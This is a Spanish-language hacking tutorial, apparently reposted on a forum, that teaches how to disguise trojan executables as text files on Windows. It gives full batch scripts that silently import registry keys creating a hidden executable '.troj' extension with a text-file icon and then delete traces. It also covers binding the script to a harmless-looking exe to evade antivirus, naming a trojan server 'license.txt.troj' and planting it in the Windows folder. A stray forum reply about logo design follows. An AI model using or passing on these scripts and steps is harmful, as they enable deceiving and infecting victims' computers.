Crear un exe que añada las claves al registro no representa ningún problema, para cualquiera con conocimientos de programación, pero, como siempre vamos a tratar de demostrar que no hacen falta grandes conocimientos para llevar a cabo estos ataques.
Vamos a valernos de un ".bat" para crear el .reg, de manera que cuando la víctima pinche en el .bat, éste cree en el ".reg" y lo ejecute, evidentemente de manera silenciosa.

Éste es el ".bat" que tenemos que crear, lo vamos a llamar "troj.bat":

@echo off
@echo REGEDIT4>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\.troj]>>%TEMP%\troj.reg
@echo @="trojfile">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=""%1" %*">>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg

Como vemos cuando se ejecute el "troj.bat", se creará el archivo "troj.reg" en la carpeta de archivos temporales, por último añadimos 2 líneas:
regedit /s %TEMP%\troj.reg
ejecutará el "troj.reg" para que se añadan las claves al registro.
del %TEMP%\troj.reg
borra el troj.reg una vez ejecutado, para no dejar rastro.

Pero surge aquí un problema en la línea:
@echo @=""%1" %*">>%TEMP%\troj.reg
si hiciéramos así el "troj.bat", crearía un "troj.reg" en el que en vez de aparecer @=""%1" %*" aparecería simplemente @=""
y por lo tanto los archivos con extensión ".troj" no serían ejecutables.
Para solucionarlo sustituimos:
@echo @=""%1" %*">>%TEMP%\troj.reg
por:
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
No hemos hecho mas que sustituirlo por su equivalente hexadecimal, ahora la clave será correctamente introducida en el "troj.reg" (quedará así: @=""%1" %*" ).














-------------NOTA--------------

Si el sistema infectado es un NT/2K/XP podemos hacer el troj.bat de otra manera, puesto que existen comandos específicos para añadir extensiones y tipos de archivo al registro, los comandos son: "assoc" y "ftype" ( si quieres saber mas acerca de estos comandos, sólo tienes que escribir en una ventana de comandos "assoc /?" o "ftype /?"). Utilizando estas ordenes vamos a hacer que nuestro "troj.bat" añada automáticamente la extensión y el tipo de archivo al registro sin tener que pasar por el "troj.reg", "troj.bat"quedaría así:

assoc .troj=trojfile
ftype trojfile="%1" %*

El comando "assoc" sirve para añadir una extensión al registro y el "ftype" sirve para añadir un tipo de archivo
Pero por este método no podemos añadir la clave "NeverShowExt"="", y la extensión .troj quedaría a la vista, por lo tanto de todas maneras tendríamos que crear el "troj.reg", de esta manera

@echo off
assoc .troj=trojfile
ftype trojfile="%1" %*
@echo Windows Registry Editor Version 5.00>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg
@echo @="Documento de texto">>%TEMP%\troj.reg
@echo "NeverShowExt"="">>%TEMP%\troj.reg
@echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg
@echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg
regedit /s %TEMP%\troj.reg
del %TEMP%\troj.reg


Vamos a quedarnos por lo tanto con el primero de los ejemplos que hicimos, sin utilizar los comandos "assoc" y "ftype".

---------FIN DE LA NOTA---------



Hasta aquí ya hemos conseguido crear un archivo que nos cree una nueva extensión, oculta y ejecutable. Si ahora la víctima recibe un archivo con icono, por ejemplo de txt, llamado readme.txt.troj, será incapaz de distinguirlo entre un txt y un ejecutable.




CREANDO EL ENGAÑO

Vamos a ver el proceso paso a paso para poner en claro lo fácil que es contaminar un sistema para dejarlo vulnerable a posteriores ataques.

Creamos el troj.bat, de la manera que ya explicamos mas arriba, y lo convertimos en troj.exe utilizando el primero el bat2exe (http://www.computerhope.org/download/utility/bat2exe.com),para convertirlo en troj.com, y después el C2E.COM y lo convertimos en troj.exe (podríamos haberlo dejado como troj.bat, pero siempre es interesante hacer las cosas bien).

La táctica consiste en unir el troj.exe a otro archivo inofensivo, como por ejemplo uno de esas animaciones en Flash con extensión .exe

Necesitamos juntar los dos ejecutables en uno, para ello vamos a utilizar el "DropperGen" esta es la web oficial (http://www.oblivionrat.com) que unido al "lcc-win32" (http://www.cs.virginia.edu/~lcc-win32/) unirá ambos archivos dejándolos en uno (gracias al método que utiliza para unir los archivos eludirá el scan de gran parte de los antivirus).





El archivo resultante pasará por una broma, pero el sistema quedará "contaminado" con la extensión ".troj" en su registro, después de esto se le pueden mandar archivos ejecutables y hacerlos pasar por archivos inofensivos.

Vamos a suponer que ahora pretendemos infectar a la víctima con un troyano:

Elegimos el server de un troyano (server.exe)
Lo primero que hacemos es cambiarle el icono por el de los .txt, para ello, lo cogemos del archivo archivo "shell32.dll", situado en la carpeta system32, utilizando, por ejemplo, el "Iconedit" (http://www.ad.ugatu.ac.ru/iconedit/)




Una vez que ya lo tenemos, utilizamos el ResHack (http://delphi.icm.edu.pl/ftp/tools/ResHack.zip) para cambiarle el icono al server.exe.






Al archivo resultante lo llamamos por ejemplo "license.txt.troj", y no queda nada mas que mandárselo a la víctima, aunque para nosotros el archivo aparezca así:



Para la víctima el archivo se verá así:



Creo que no es necesario decir lo peligroso que puede ser esto, puesto que no creo que nadie dude un instante en abrir un archivo de texto, porque no se cree que pueda ser peligroso.

Usando este método podemos darle a los archivos la extensión (la falsa) y el icono que queramos cada vez.

Se puede evitar la fase de cambiar el icono al server añadiendo unas líneas mas al registro, en la que atribuyamos un icono específico para los archivos ".troj", por ejemplo:

@echo [HKEY_CLASSES_ROOT\txtfile\DefaultIcon]>>%TEMP%\troj.reg
@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg

para añadir el icono del .txt a los archivos .troj, que por las mismas razones que antes (lo de el %) debemos sustituir :

@echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg

por:

@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,
65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35,
00,32,00,00,00>>%TEMP%\troj.reg

en una sola linea, para añadir el icono de los .wav a los archivos .troj cambiaría la última linea por esta:

@echo @="%SystemRoot%\System32\quartz.dll,-200">>%TEMP%\troj.reg

que ahora quedaría:

@echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,
00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,
71,00,75,00,61,00,72,00,74,00,7a,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32,
00,30,00,30,00,00,00>>%TEMP%\troj.reg

también en una sola linea.

-------------NOTA--------------

Para encontrar el equivalente hexadecimal del icono que buscas, puedes hacerlo fácilmente sin necesidad de editores hexadecimales.

Abre el regedit, busca el tipo de archivo que quieres, abre la carpeta "DefaultIcon", marca el valor en el que pone (Predeterminado) bla bla.

Vete a "Registro">>"Exportar archivo de Registro..." introduce el nombre que quieras y dale a aceptar.

Edita con un editor de texto el archivo ".reg" que acabas de crear y ahí tienes el valor hexadecimal que corresponde a la cadena que quieres poner, y que no puedes añadir por contener el caracter %

---------FIN DE LA NOTA---------



La ventaja es que no corremos el riesgo de estar añadiendo un icono característico del Windows 2000, por ejemplo, y enviárselo después a alguien que utilice Windows 98.

El inconveniente es que estaremos limitados a ocultar siempre el server.exe bajo el mismo tipo de archivos.







INTRUSIÓN Y CONTAMINACIÓN DEL SISTEMA


Por supuesto se puede contaminar el sistema sin tener que esperar para mandarle el server.exe posteriormente.

Ejemplo 1:

Incluyendo los 3 archivos, es decir, el ".bat" (pasado a ".exe"), el server.exe y el archivo inofensivo (con el que se engaña a la víctima), en uno solo, con el "DropperGen"

Ejemplo 2:

Metiendo el "server.exe" y el "troj.bat" en una "carpeta trucada" ( Si no conoces como se hacen, lo tienes en la sección "Carpetas Infectadas"), en concreto en la carpeta trucada aparentemente vacía.

Podrías incluso añadir esto al "troj.bat":

@echo copy server.exe %SYSTEMROOT%\WinReadme.txt.troj
@echo %SYSTEMROOT%\WinReadme.txt.troj
@echo del server.exe
@echo del troj.bat

de esta forma el troyano se copiará a la carpeta WINNT (WINDOWS si es un 98) con el nombre WinReadme.txt.troj, después se ejecutará, y se borrarán todos los archivos de la carpeta modificada.

Después de esto, el sistema quedará contaminado, el server del troyano tendrá apariencia de txt, y la carpeta quedará realmente vacía.

Ejemplo 3:

Si tienes los passwords del PC remoto, puedes acceder directamente al registro remoto, introducir las claves manualmente y dejar el sistema contaminado.

Ejemplo 4:

Piensa un poco y seguro que se te ocurren muchas otras maneras.





Texto escrito por CyRuX

http://cyruxnet.com.ar/extensiones.htm
6285  Media / Diseño Gráfico / Re:Como ago Logos en: 28 Agosto 2002, 15:44 pm
Adobe Photoshop o Paint Shop Pro, y un poco de imaginación y buenas manos..... eso es todo.

Yo soy malisimo para diseñar, pero conozco mucha gente que controla bastante.
Páginas: 1 ... 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 [629]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines